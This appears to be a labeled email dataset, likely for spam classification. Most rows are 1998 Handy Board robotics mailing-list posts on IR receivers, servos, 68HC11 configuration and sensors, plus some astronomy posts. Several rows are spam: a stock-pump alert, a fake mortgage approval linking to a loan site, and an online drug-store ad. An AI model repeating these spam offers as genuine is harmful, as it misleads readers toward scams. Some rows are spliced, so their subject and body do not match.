>",0,1 Loraine Gary ,"handyboard@media.mit.edu, miranda@media.mit.edu, sam@media.mit.edu, earlene@media.mit.edu, tessa@media.mit.edu","Mon, 08 Jun 1998 20:11:18 +0000",Stocks In Motion,"Tech |nvestment A|ert 05-03-2006 Nanotechnology st0cks continue to perform at superstar levels. We have carefully sifted through these cutting egde companies to bring you this special winner. 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I'm working on a project where I've got robots hunting targets equipped with a 40 kHz oscillator circuit which is continuously pulsing an IR LED. I was using the Sharp GP1U52 IR demodulator, which is the one that you can get from Radio Shack (the alumimum box version). We were able to get a very strong signal from this component. However, when we switched to the IS1U60 IR demodulator (the one that you get with the Handyboard from Gleason--the little green one), we found that we could only get a signal when we first turned on the 40 kHz transmitter. If the transmitter continuously bathed the IS1U60 in 40 kHz light, the receiver returned nothing. If we switched the transmitter on and off, we got a single pulse from the receiver whenever power was applied. So... it seems that the IS1U60 is designed to receive IR pulses in a communications mode like from a VCR remote or another handyboard. It does not seem to respond to continuous transmission. Has anybody else had this problem? It's a whole lot easier to obtain the IS1U60s instead of the GP1U52s (Radio Shacks only stock 2 or 3 at a time!) and it seems that the GP1U52 is the only way to go. Help! Thanks... -Paul --- Paul E. Rybski --- http://www.cs.umn.edu/~rybski ",0,1 Chris Rhodes ,Handyboard ,"Wed, 10 Jun 1998 18:50:40 -0500",motor selection,"Can anyone tell me what is a good servo motor? I haven't had any experience and would like some input on names of servos to choose from. I am looking for a model number and company. Chris Rhodes ",0,0 bill_r@inetnebr.com,handyboard@media.mit.edu,"Thu, 11 Jun 1998 01:41:44 +0000",Re: Question about Sharp IR demodulators,"I had a similar experience, except that all my IR demodulators were from Radio Shack; two were some I'd gotten in a ""grab bag"" quite a few years ago, and the others were brand new. The original one reacted to 40KHz the way you describe yours doing - whenever it ""sees"" 40KHz, the output goes active. On the new ones that I had, though, the behavior was more like what you describe for the ISU160; they go active when they first see 40KHz, but then they quickly go inactive again, until you pulse the 40KHz. I ended up modulating the transmitter at 200Hz and putting a 567 tone-decoder set up to look for 200Hz on the output. Perhaps you could do something similar? The 40KHz is just a carrier, and is modulated by the 200Hz signal. The IR demodulator strips out the 40KHz, leaving just the original 200Hz modulation at its output. At least one person tried to convice me I was crazy, but I swear that Radio Shack's detectors have changed over the years, even though they sell them under the same RS part number. The case style, as well as the markings of the devices themselves, have changed slightly; I have ot believe the characteristics have as well... On Wed, 10 Jun 1998 14:13:13 -0500 (CDT), ""Paul E. Rybski"" wrote: > I'm working on a project where I've got robots hunting targets >equipped with a 40 kHz oscillator circuit which is continuously pulsing >an IR LED. I was using the Sharp GP1U52 IR demodulator, which is the one >that you can get from Radio Shack (the alumimum box version). We were >able to get a very strong signal from this component. However, when we >switched to the IS1U60 IR demodulator (the one that you get with the >Handyboard from Gleason--the little green one), we found that we could >only get a signal when we first turned on the 40 kHz transmitter. If the >transmitter continuously bathed the IS1U60 in 40 kHz light, the receiver >returned nothing. If we switched the transmitter on and off, we got a >single pulse from the receiver whenever power was applied. > > So... it seems that the IS1U60 is designed to receive IR pulses >in a communications mode like from a VCR remote or another handyboard. >It does not seem to respond to continuous transmission. Has anybody else >had this problem? It's a whole lot easier to obtain the IS1U60s instead >of the GP1U52s (Radio Shacks only stock 2 or 3 at a time!) and it seems >that the GP1U52 is the only way to go. -Bill Richman bill_r@inetnebr.com http://incolor.inetnebr.com/bill_r (Home of the COSMAC Elf Simulator!)",0,1 GJZ@aol.com,"bill_r@inetnebr.com, handyboard@media.mit.edu","Thu, 11 Jun 1998 01:22:43 -0400",onboard IR receiver,"the problem that i was having with the onboard IR receiver is that the codes that i retrieved from the ir_data() function were inconsistant from the same remote control button. the error was usually manifested in multiples of two, which lead me to believe that the data coming in has been logically (arithmetically) shifted. this was probably due to the first and sometimes second incoming bit being missed. however, i developed a way to eliminate this problem about 99% of the time. this is by turning the software driver on and off, by using the sony_init() function. in my tests, the receiver responds much better than before, however, it does not poll continuosly. i thought that maybe the HB could be tricked into polling continuosly, maybe this will lead you in the right direction. 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Joe Martin joema@mpx.com.au ",0,0 David Kott ,Joe Martin ,"Wed, 10 Jun 1998 22:08:44 -0400",Re: input impedance,"On Wed, 10 Jun 1998, Joe Martin wrote: > Does anyone know the impedance onto the sensor inputs on the HB and/or any >suggestions for setting them to receive signals sent at 220K Ohm. > Joe Martin > joema@mpx.com.au > > Hmmmmmm.. as I recall, there are 47k pullups on those inputs. These are used to condition the signals when used as a digital input. The 'HC11 pink book suggests that any input resistance of greater then 10K will ""...degrade A/D accuracy."" The ADC module draws 400nA continuously. Your 220K will drop ~80 mV. This will result in only 6(ish) bit precision. Also, the ADC subsystem is modeled as 20pF cap. 220K driving such a cap will increase your acquisition time significatly. You will definately want to condition this signal with a low impedance driver. I suggest an instrumentation amplifier (a special kind of rail to rail, high frequency Op-Amp) to condition that signal. National Semiconductor offers many single supply, rail to rail devices. Analog Devices has a pretty keen selection too. I don't remember the particular part number, but NS has a swift selection tree. The output impedance of an OpAmp is quite low. This means you will be able to leave the 47K's on the HB ADC inputs alone. -d The box said ""Requires Windows 95/NT or better""... So I got Unix. Free the Source. Free your Computer... http://www.FreeBSD.org http://www.NetBSD.org http://www.OpenBSD.org ",0,1 Alan McAllister ,CROOKER@buasta.bu.edu,"Wed, 10 Jun 1998 16:38:30 -0600",Preliminary analysis/prediction,"Hello all, A quick look at available synoptic data yields the following: %Prediction of possible cloud helicity from halo CME launched on June 8, 1998. Observations: The solar event was associated with a sunspot (AR8232) crossing central meridian about 20 degrees south of the equator. The highest coronal fields have the usual southward component for the rise of an odd numbered solar cycle. The underlying neutral line is only 30 degrees from NS as it passes through the active region, rotating closer to EW as it extends to the SE towards the polar crown. It is closer to 45 degrees as it passes out of the southern end of the AR. EIT movie located just north of the AR shows opening of coronal loops after 16:00 to roughly 16:30. The Yohkoh data shows flaring in the AR in the 16:49 frame (not there at 15:58), which corresponds to the flare Hugh refers to at 16:03. This has died down by 18:26. There appears to be a second more coronally disruptive event between 18:51 and 00:04, at which time the larger arcades north and south of the AR are much expanded, and in the process of further expansion. There is a large filament on the polar crown to the SE, which is unchanged between 14:04 and 19:56 (Holloman Ha), although a small filament just south of the active region appears to have vanished. The large filament may fade out between 21:06 (KP He1 10830) and gone at 00:00 (Big Bear Ha)? This indicates a large scale eruption over a neutral line tilted SE-NW at roughly 45 degrees. The coronal arcades are right skewed, as is predominent in the southern hemisphere, and suggest that the filament will be sinistral. However as this is a polar crown it should be checked with the Ha images. The axial component along the neutral line is pointing SE. Comments: It appears from the SXT and HA data that this may have been a multi-part event, with a larger region opening up about 3-4 hours after the initial flare. Mauna Loa shows that the arcade leading towards the SE limb is associated with a full white light streamer. If this is part of the global solar wind structure, and IP current sheet, then any flux rope may not be strongly deformed in transit. [ This assumption needs to be tested.] **** Predicted possible IP cloud topology **** There may be leading southward fields, followed by a highly inclined (~ 45 degrees) flux rope. Its leading fields should have a slight southward component, strengthening torwards the axis, where the axial field is SE. This configuration can be expected to produce enhanced geomagnetic activity. Several things should be checked: Sara, can you check the chirality of the large polar crown filament? Nancy, is there a good way to quickly check on sector structure, boundaries, etc? *** Any comments, feedback, additions, or corrections can be sent to Alan McAllister at ahm@hao.ucar.edu. -- ",0,0 Skye Legon ,crhodes@students.uwf.edu,"Thu, 11 Jun 1998 09:20:39 -0400",Re: motor selection,"> Can anyone tell me what is a good servo motor? I haven't had any > experience and would like some input on names of servos to choose from. > I am looking for a model number and company. From the archive: Date: Tue, 3 Mar 1998 17:12:30 -0500 (EST) > I know that Futaba servos are well respected, > but they are also expensive. Has anyone had > any (positive or negative) experiences with > Cirrus or Hitec servos? I have a sonar mounted on a panning servo, and I just bought an el-cheapo Cirrus CS-50. (It is functionally equivalent to a JR/Hitec JR-507 or HS-300). It works fine, although it is a noisy little bugger (but other servos don't seem much better). It has enough torque to move a transducer around, and has a decent transit time (42.3 oz-in and 0.16s/60 deg at 4.8v). I say go for it. Cheers, Skye. +-----------------------------------------+----------------------------+ | Skye Legon | University of Waterloo | | Systems Design Engineering | __/ __/ __/ __/ | | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | | +1(519)888-9249 | ______/ ___/ \\___/ | | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | +-----------------------------------------+----------------------------+ ",0,0 michaelj@wt.net,handyboard@media.mit.edu,"Thu, 11 Jun 1998 09:38:50 +0500",Re: motor selection,"Where is your source and how do the Cirrus compare to Futuba in price? At a local hobby store in Houston I bought 2 Futuba 3003 (I think) that are the replacements for the 148 which I believe are no longer being made. They cost me about $13 but list was about $20. The Hitec models were a couple of dollars more expensive. The Cirrus seems to be faster since the Futuba was .23 sec for 60 degrees at 4.8V. Mike >> Can anyone tell me what is a good servo motor? I haven't had any >> experience and would like some input on names of servos to choose from. >> I am looking for a model number and company. > >>From the archive: > >Date: Tue, 3 Mar 1998 17:12:30 -0500 (EST) > >> I know that Futaba servos are well respected, >> but they are also expensive. Has anyone had >> any (positive or negative) experiences with >> Cirrus or Hitec servos? > >I have a sonar mounted on a panning servo, and I just bought an >el-cheapo Cirrus CS-50. (It is functionally equivalent to a JR/Hitec >JR-507 or HS-300). It works fine, although it is a noisy little bugger >(but other servos don't seem much better). It has enough torque to >move a transducer around, and has a decent transit time >(42.3 oz-in and 0.16s/60 deg at 4.8v). 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This may be the beginning of another ""brightening"" of Loki. The Jupiter occultation data on May 27 and June 3 show three significant sources called A, B, and C in the following. The occultation data only determine a position along an arc representing the limb of Jupiter, but source A is probably Kanehekili, B may be Ra, and C is probably Loki. The following table gives the disappearance times and the fluxes, as measured in a filter centered at 3.44 microns. May 27 June 3 May 27 June 3 UT UT GW/um/str A 13:10:23.1 15:06:53.1 8.1 8.1 B 13:12:20.5 15:08:50.8 7.5 6.1 C 13:12:53.6 15:09:26.1 16.5 22.7 The May 27 occultation lightcurve is available at . A map showing the position of the Jupiter limb at the disappearance times (and therefore the possible hot spot locations) is available at . The solid lines are for May 27 and the dashed ones are for June 3. The cross marks the position of Kanehekili. All of the arcs pass slightly west (on Io) of the above named hot spots, but this seems to be due to a 6 second error in the ephemeris prediction. If the arcs are shifted to make A correspond to Kanehekili, as seems likely, then the adjusted B and C arcs pass through Ra and Loki. On May 20 data were obtained which indicates that source C (Loki?) was less than half as bright as on May 27. At longer wavelengths, by June 3 the in-eclipse M flux had reached 21% of the out-of-eclipse value -- approaching that observed during previous Loki brightenings. Regardless of the hot spot identification, the data show that a significant ""new"" source turned on during the week before the Galileo E15 encounter and was increasing in brightness during that period. and Christophe Dumas writes: From: dumas@nicmos.jpl.nasa.gov Date: Sat, 6 Jun 1998 16:44:01 -0700 (PDT) Subject: Io june 03 I was able to get some AO images of Io last wednesday, during the June 3rd eclipse. I used Ganymede as the reference source for the wavefront sensor. The meteo conditions were really poor. Lots of thick cirrus were covering the entire sky and we had several magnitudes of extinction ... degrading the final S/N on our images. No photometry available but we have lots of images to co-add in order to improve the S/N and get a good estimate of the hot-spot location. ...Loki was quite bright while Kanehekili had very low activity. At least one more hot-spot was active south of Loki. John Stansberry and Bryan Hilbert also observed the June 3rd event from the Lowell 72"" at 2.3 microns, but reductions are not yet available. However, John Stansberry does have reductions from the June 10 UT event: Date: Wed, 10 Jun 1998 19:56:54 -0700 From: stansber@lowell.edu (John Stansberry) Subject: Io on June 10 UT Here is what I think is a pretty reliable reduction of the eclipse photometry from the 980610 event: filter Flux ------ ----- 1.7 5.3 GW/micron/Str 2.3 13.6 3.5 54.0 3.8 64.8 4.8 144. Errors are estimated at 5% or less except for at 1.7microns, where it is 15-20%. the L flux seems consistent with the sum of Bob's A,B, and C spots, plus some extra (sum of his spots was 36). The fluxes are also in the ballpark of what we saw during the '97 Loki eruption. The 2.3 to 3.5 micron color temperature I get is 630 +- 10 K. The 1.7 to 2.3 micron color temperature I get is 860 +- 80 K. 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Your rights may be next! ----------------------------------------------------------------- ",0,0 """Fred G. Martin"" ",aarone@sirius.com,"Sun, 14 Jun 1998 22:30:51 -0400",Re: HandyBoard Reset Vector ,"independent of IC, the HB fetches its reset vector at $bffe-$bfff. please see the FAQ about this: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#memmap thank you, fred In your message you said: > Hello again, > I hope someone can help me out here. I want to run a standard > assembly program on my HandyBoard without using IC. IC requires > CONFIG=0x0C, which allows the reset vector to be fetched from external > memory, instead of from $FFFE, $FFFF. Where does it find its reset vector > then? How can I set it to find my program? It seems that MAIN_START is > found at $8020, but I am assuming this particular to using IC. > > Thanks, > Aaron > ",0,1 """Fred G. Martin"" ",Mike Davis ,"Mon, 15 Jun 1998 00:31:16 -0400",Re: Tone Functions ,"yep, 5 kHz is about the top end of the HB's 6811 capability. going higher would require dedicating the 'hc11 to generating the tone and doing nothing else. why? interrupt routine overhead. takes a bunch of cycles to handle an interrupt. the tone function uses the interrupt so it normally doesn't have to hog the CPU. if you hog the CPU, you can go up to 100khz or so... fred In your message you said: > I have a problem with the tone functions. I tried each of the following: > > 1000 - 9000 Hz tones for 2 to 3 seconds. All work fine up to 5000 but 6000 a nd > above have broken up sound. Can anyone explain why this happens? What is > the fix? > -- > ----------------------------------------------------------------- > ipscone@halcyon.com Shoot-To-Win! > > Protect the 2nd Amendment! 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I want to run a standard > assembly program on my HandyBoard without using IC. IC requires > CONFIG=0x0C, which allows the reset vector to be fetched from external > memory, instead of from $FFFE, $FFFF. Where does it find its reset vector > then? How can I set it to find my program? It seems that MAIN_START is > found at $8020, but I am assuming this particular to using IC. > > Thanks, > Aaron > Hi! If you start the Handyboard (no bootstrap mode) it is in the 'special test' mode. So the start vector is located at $BFFE and $BFFF. In your assambly program use the following code: Start_vec ORG $BFFE FDB Program_Start where 'Program_Start' is the label of the first line of your main program. Compile the code and download it with the normal bootstrap-loader. Switch off and on and your program should start. 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I'm wondering if someone knows of a Remote Control Unit that is very small that will work with the sony-ir.icb code. I'm thinking maybe one the size of the ones used with camcorders but don't know where to look for one. ",0,0 Mike Davis ,alf.kuchenbuch@usa.net,"Mon, 15 Jun 1998 07:18:48 -0700",Re: config 0x0C,"From: Alf Kuchenbuch > Hi there, > I have used a 68HC11E1 with my HB for quite a while now and it works > fine with it. Now I replaced it with a 68HC11A1FN and it wouldn't let me > download the .s19 file with HBDL anymore. It stops when downloading the > program and says: Invalid Config reg (0x0D) Try again. > I did. I tried again. And failed. Then I wrote 0x0D instead 0x0C into > set config register and everything works fine now. IC runs fine and > everything (inputs etc.) appears to be working. > My questions: > Is it OK to run the board with 0x0D instead of 0x0C? > What exactly does this config register do? Does my HB work differntly > with the new setting? > > Alf H. Kuchenbuch > The 0x0C value represents EEPROM OFF, ROM OFF. A related question that I have is that I'm using the 811E2 and the hbdl program will only work if I use 0xFF. Which places EEPROM ON and at the upper most locations. Also, IC seems to work fine. What will NOT work? And what is the likelyhood that IC will stop working? Does anyone know of a workaround that will allow me to use IC and be able to turn off the 811E2 EEPROM? HBDL will only work with the 811E2 if I use FF as the configuration register value. I have been having problems finding the A1FN for some reason. I have tried all the likely sources and everyone seems to be back ordered. I however have many of the 811E2s and a couple of other EEPROM varities. -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 """Fred G. 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I was looking for an article in EDN on using a self-heated transistor to measure airflow, but Ican't find it. I was also wanting to know if there is a way to create a humidity sensor, or does anyone know of a low cost part? I am wanting to connect these to a miniboard. Thanks ___________________________________________________________ ______________________________________________________ Jonathan Swaby 305 Sparks Bldg Computer Support Specialist 814-865-0693 Penn State University mailto:jfs10@psu.edu Department of Speech Communication http://cac.psu.edu/~jfs10 Department of Philosophy ______________________________________________________ ___________________________________________________________ ",0,1 Mike Davis ,"""Fred G. Martin"" ","Mon, 15 Jun 1998 12:08:02 -0700",Re: Remote Controller Needed ,"Thanks, you jogged my memory. I remember that one. I'll take my HB in and check it out. Thanks To: ipscone@halcyon.com Copies to: handyboard@media.mit.edu Subject: Re: Remote Controller Needed Date sent: Mon, 15 Jun 1998 11:08:57 -0400 From: ""Fred G. Martin"" > Casio used to make/maybe still makes a wristwatch-TV remote controller > that did Sony. I have one and it works great. > > sorry don't have it handy to give you the model #.... > > fred > > In your message you said: > > I have a Sony IR Remote but it is a little large. I'm wondering if > > someone knows of a Remote Control Unit that is very small that will > > work with the sony-ir.icb code. I'm thinking maybe one the size of > > the ones used with camcorders but don't know where to look for one. > > > > -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 """Justin D. Gullotta"" ",handyboard@media.mit.edu,"Mon, 15 Jun 1998 15:21:32 -0400",handyboard reset vector,"excerpt from torkin@uni-paderborn.de: >where 'Program_Start' is the label of the first line of your >main program. Compile the code and download it with the normal >bootstrap-loader. Switch off and on and your program should start. what do you mean by, ""compile the code""? how do you compile the code using IC? or do you use the motorola assembler, AS11? thank you. Justin D. Gullotta.. , Engineer, Rensselaer Polytechnic Institute. ",0,0 massimj@usa.net,"'Jonathan Swaby' , 'handyboard' , 'Robot Board' ","Mon, 15 Jun 1998 15:24:38 -0400",RE: Cheap air flow sensor,"Can someone forward the proper syntax to take me off of this listserv? Forward to massimj@usa.net Thanks Joe -----Original Message----- From: owner-robot-board@cmf.nrl.navy.mil [mailto:owner-robot-board@cmf.nrl.navy.mil]On Behalf Of Jonathan Swaby Sent: Monday, June 15, 1998 3:23 PM To: handyboard; Robot Board Subject: Cheap air flow sensor Does anyone know of a cheap way to construct an air flow sensor? I was looking for an article in EDN on using a self-heated transistor to measure airflow, but Ican't find it. I was also wanting to know if there is a way to create a humidity sensor, or does anyone know of a low cost part? I am wanting to connect these to a miniboard. Thanks ___________________________________________________________ ______________________________________________________ Jonathan Swaby 305 Sparks Bldg Computer Support Specialist 814-865-0693 Penn State University mailto:jfs10@psu.edu Department of Speech Communication http://cac.psu.edu/~jfs10 Department of Philosophy ______________________________________________________ ___________________________________________________________ ",0,1 """ED Spike, E&CE Dept."" ",Jonathan Swaby ,"Mon, 15 Jun 1998 15:56:44 -0400",Re: Cheap air flow sensor ,"We have used model boat propellers on a ballbearing and on a brass bushing. Keep the bearing or bushing well lubricated for good sensitivity at low air volume (ie: low speed of the propeller). We used the propeller mounted in 1.5 inch and 2 inch PVC black plumbing pipe. Optical encoder replaced an optical diode pair which the three blade propeller tips moved through. 73,33 On Mon, 15 Jun 1998, Jonathan Swaby wrote: Does anyone know of a cheap way to construct an air flow sensor? I was > looking for an article in EDN on using a self-heated transistor to measure > airflow, but Ican't find it. > > I was also wanting to know if there is a way to create a humidity sensor, > or does anyone know of a low cost part? > > I am wanting to connect these to a miniboard. > > Thanks > ___________________________________________________________ > ______________________________________________________ > Jonathan Swaby 305 Sparks Bldg > Computer Support Specialist 814-865-0693 > > Penn State University mailto:jfs10@psu.edu > Department of Speech Communication http://cac.psu.edu/~jfs10 > Department of Philosophy > ______________________________________________________ > ___________________________________________________________ > --------------------------------------------------------------------- Ed Spike VE3TCK E&CE Department, University of Waterloo. E2-3357 Communication and Microwave Area Laboratory Instructor. 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Check out http://207.126.118.58/~ueic/eu/ofazapperline.html for several small ones. ____ ___ Email : Geir-Atle.Storhaug@ffi.no / ____/\\ (__ \\___// \\___) Office: +47-63-807608 Home: +47-63-838987 Fax:+47-63-807509 Forsvarets forskningsinstitutt, FFI/VM, Postboks 25, N-2007 Kjeller, NORWAY ",0,1 Pandit Panburana ,"""Justin D. Gullotta"" , handyboard@media.mit.edu","Tue, 16 Jun 1998 06:49:33 -0400",Re: handyboard reset vector,"Hi Justin, I believe the previous mail indicates assembly the code rather. This would be the generating the ""p code"" of the handy board rather than the actual IC code. Regards, -Pandit ---------- > From: Justin D. Gullotta > To: handyboard@media.mit.edu > Subject: handyboard reset vector > Date: Monday, June 15, 1998 3:21 PM > > excerpt from torkin@uni-paderborn.de: > > >where 'Program_Start' is the label of the first line of your > >main program. Compile the code and download it with the normal > >bootstrap-loader. Switch off and on and your program should start. > > what do you mean by, ""compile the code""? how do you compile the code using > IC? or do you use the motorola assembler, AS11? thank you. > > Justin D. Gullotta.. , Engineer, > Rensselaer Polytechnic Institute. >",0,0 Sathe Dilip ,Jonathan Swaby ,"Tue, 16 Jun 1998 10:23:51 -0400",Re: Cheap air flow sensor,"Elektor had published a similar circuit for detecting air leaks. The heated transistor and another transistor acting as temp. sensor were glued together using heatsink compound. You had then to nullify/calibrate a meter at ambient temp. when the transistor pair was held near a air leak, the temp. difference caused a meter deflection (basically the current required to maintain the transistor temp. was monitored). The circuit was not meant for absolute air flow measurement but could probably be modified. I have this schematic somewhere at home. May take a couple of days to draw it in ASCII (I am not good at it :-). Let me know if you are interested. Newark electronics used to carry a capacitive humidity sensor for about $ 12. The same device is manufactured by 2-3 companies. I know Philips and Volvo as two of these. Dilip Jonathan Swaby wrote: > > Does anyone know of a cheap way to construct an air flow sensor? I was > looking for an article in EDN on using a self-heated transistor to measure > airflow, but Ican't find it. > > I was also wanting to know if there is a way to create a humidity sensor, > or does anyone know of a low cost part? > > I am wanting to connect these to a miniboard. > > Thanks ",0,0 Brett Anthony ,handyboard@media.mit.edu,"Tue, 16 Jun 1998 07:41:25 -0700",RE: Cheap air flow sensor,"The classic small air flow sensor is a hot-wire-anemometer. Just position a short piece of very fine wire in the airflow and normal to it, run a constant current thru it, and measure the voltage change due to the cooling effect of the airflow. Works great. Unfortunately, the sensing wire is ordinarily platinum (!) due to it's desireable resistivity/temperature characteristics and relative inertness, however, cheaper wire may work. It must be VERY fine wire, however. The classic, and cheap, humidity sensor is human hair, but measureing it's change in length (which is the variable) may be a problem. Alternately, you can make one by making a pair of parallel traces on a bit of PC board, about 1mm wide and 0.5mm apart, and a few cm long. Fold these back upon themselves serpentine style to keep it small; the ones I've seen are about 1cm square. Now all you have to do is measure the capacitance change... I can't find these in any of my present catalogs, but I know I've seen them. fischertechnik used to supply them, which is where I got mine. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 Mike Davis ,handyboard@media.mit.edu,"Tue, 16 Jun 1998 08:03:23 -0700",Moder Identification Needed,"I have a couple of nice motors that I would like to get some info on. They were removed from some medical recording devices. They are very small and have pretty good power. If you try to stop the motor by grabbing the bushing on the shaft, it is very difficult. Anyway, they don't have a brand but have the following markings. escap (R) E16 64,1:1 swiss made TC 11 205 0 They are about 1.9"" long and .65"" in diameter. Anyone know how I can get some spec. on these? -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! ----------------------------------------------------------------- ",0,0 Mike Vande Weghe ,Mike Davis ,"Tue, 16 Jun 1998 11:32:06 -0400",Re: Moder Identification Needed,"Check out http://www.portescap.com - Mike Mike Davis wrote: > > I have a couple of nice motors that I would like to get some info on. They were > removed from some medical recording devices. They are very small and have > pretty good power. If you try to stop the motor by grabbing the bushing on the > shaft, it is very difficult. > > Anyway, they don't have a brand but have the following markings. > > escap (R) E16 > 64,1:1 > > swiss made > TC 11 205 0 > > They are about 1.9"" long and .65"" in diameter. Anyone know how I can get > some spec. on these? > -- > ----------------------------------------------------------------- > ipscone@halcyon.com Shoot-To-Win! > > Protect the 2nd Amendment! Your rights may be next! > ----------------------------------------------------------------- ",0,1 Mike Davis ,Mike Vande Weghe ,"Tue, 16 Jun 1998 08:49:13 -0700",Re: Moder Identification Needed,"That was fast. Thanks Date sent: Tue, 16 Jun 1998 11:32:06 -0400 From: Mike Vande Weghe Organization: Parlance Corporation To: Mike Davis Copies to: handyboard@media.mit.edu Subject: Re: Moder Identification Needed > Check out http://www.portescap.com > > - Mike > > > > Mike Davis wrote: > > > > I have a couple of nice motors that I would like to get some info on. They were > > removed from some medical recording devices. They are very small and have > > pretty good power. If you try to stop the motor by grabbing the bushing on the > > shaft, it is very difficult. > > > > Anyway, they don't have a brand but have the following markings. > > > > escap (R) E16 > > 64,1:1 > > > > swiss made > > TC 11 205 0 > > > > They are about 1.9"" long and .65"" in diameter. Anyone know how I can get > > some spec. on these? > > -- > > ----------------------------------------------------------------- > > ipscone@halcyon.com Shoot-To-Win! > > > > Protect the 2nd Amendment! Your rights may be next! > > ----------------------------------------------------------------- -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,1 Mike Davis ,Mike Vande Weghe ,"Tue, 16 Jun 1998 09:08:27 -0700",Re: Moder Identification Needed,"I did a search for escap on the internet and nothing came back. Thanks BTW, it took me longer to realize that Motor was spelled wrong than it did for you to respond with the info I needed. Thanks again. Date sent: Tue, 16 Jun 1998 11:32:06 -0400 From: Mike Vande Weghe Organization: Parlance Corporation To: Mike Davis Copies to: handyboard@media.mit.edu Subject: Re: Moder Identification Needed > Check out http://www.portescap.com > > - Mike > > > > Mike Davis wrote: > > > > I have a couple of nice motors that I would like to get some info on. They were > > removed from some medical recording devices. They are very small and have > > pretty good power. If you try to stop the motor by grabbing the bushing on the > > shaft, it is very difficult. > > > > Anyway, they don't have a brand but have the following markings. > > > > escap (R) E16 > > 64,1:1 > > > > swiss made > > TC 11 205 0 > > > > They are about 1.9"" long and .65"" in diameter. Anyone know how I can get > > some spec. on these? > > -- > > ----------------------------------------------------------------- > > ipscone@halcyon.com Shoot-To-Win! > > > > Protect the 2nd Amendment! Your rights may be next! > > ----------------------------------------------------------------- -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,1 Paul Mrozowski ,handyboard@media.mit.edu,"Tue, 16 Jun 1998 17:52:28 -0400",RE: Cheap air flow sensor,"At 07:41 AM 6/16/98 -0700, you wrote: >The classic small air flow sensor is a hot-wire-anemometer. Just position a >short piece of very fine wire in the airflow and normal to it, run a >constant current thru it, and measure the voltage change due to the cooling >effect of the airflow. Works great. Unfortunately, the sensing wire is >ordinarily platinum (!) due to it's desireable resistivity/temperature >characteristics and relative inertness, however, cheaper wire may work. It >must be VERY fine wire, however. Interesting. But wouldn't the air temperature change the readings? Or would you also use a temp. sensor and adjust your table scaling to take this into account? What about air pressure, same thing? -Paul ",0,0 Brett Anthony ,handyboard@media.mit.edu,"Tue, 16 Jun 1998 16:03:12 -0700",RE: Cheap air flow sensor,"At 05:52 PM 6/16/98 -0400, you wrote: > Interesting. But wouldn't the air temperature change the readings? Or >would you also use a temp. sensor and adjust your table scaling to take >this into account? What about air pressure, same thing? > >-Paul > > Yup. And yup again. Not to mention humidity. It's what makes instrumentation ""interesting"". Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 brian-c@technologist.com,handyboard@media.mit.edu,"Tue, 16 Jun 1998 19:22:48 -0400",HB Memory...,"Hi all, I sent this message out a few days ago and havent heard from anyone. Can someone help me out? ---------- When pcode is downloaded to the Handy Board, how much memory space does it take up? I am a little concerned about having enough memory space for my programs. As I see it now, I think I may max out the 32KB. Does anyone have tips on how to concerve space. The only thing I can think of is to edit out some functions from lib_hb.c that I am not using, and also not loading the r22 IR files which I'm not using either. (I think someone posted once about a similar problem and said that some space concerving was solved after using the commericial version of IC, how so?) Thanks in advance, _________________________________________________ ������������������������������������������������� Brian Carvalho [ brian-c@ieee.org ] DeVRY Institute New Jersey _________________________________________________ ������������������������������������������������� --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 Jim Fong ,"brian-c@technologist.com, handyboard@media.mit.edu","Tue, 16 Jun 1998 17:09:50 -0700",Re: HB Memory...,"This is what Fred Martin wrote in a earlier message to this mail list. This is the approximate breakdown of the HB memory space. User program object code + user global variables: 16320 bytes available Runtime pcode OS: 7936 bytes Used stack space for user processes: 6656 bytes Used buffer for interaction process: 256 bytes Used buffer for printing: 256 bytes used Editing out any unused functions/procedures in the library will save some space but not much. Jim ",0,0 George Slaughter ,handyboard@media.mit.edu,"Tue, 16 Jun 1998 14:09:05 -0600",RERE:WE approved yours loan 0rmw,"Dear Homeowner, http://getmort.com You have been approved for a $ 847,755 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://getmort.com Best Regards Don Nut Loan Manager http://getmort.com/lit.html handyboard@media.mit.edu wrote: > RERE:WE approved yours loan r0fpul1kou ",1,1 Paul Mrozowski ,handyboard@media.mit.edu,"Tue, 16 Jun 1998 21:19:26 -0400",RE: Cheap air flow sensor,"At 04:03 PM 6/16/98 -0700, you wrote: >Yup. And yup again. Not to mention humidity. It's what makes >instrumentation ""interesting"". Do you happen to know if those changes are linear? Something like this would make a cool replacement for the MAS on the Talon. It uses a series of honeycombs (that form little diamond shapes). Then it measures the number of spinning vortices coming off the honeycomb (via ultrasound) -it's called the Karmen-???? phenomenon. It's also a pretty restrictive piece of the intake path. A cylinder with one of these platinum wires crossing it (along w/the extra sensors needed) with a PIC as the glue would really be slick, as long as the mapping (or math) to do something useful with it wasn't to hairy. -Paul ",0,0 Jack Call ,handyboard@media.mit.edu,"Tue, 16 Jun 1998 22:24:57 +0000",All products for your health!,"http://ulqnib.icepage.info/?88575056 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast 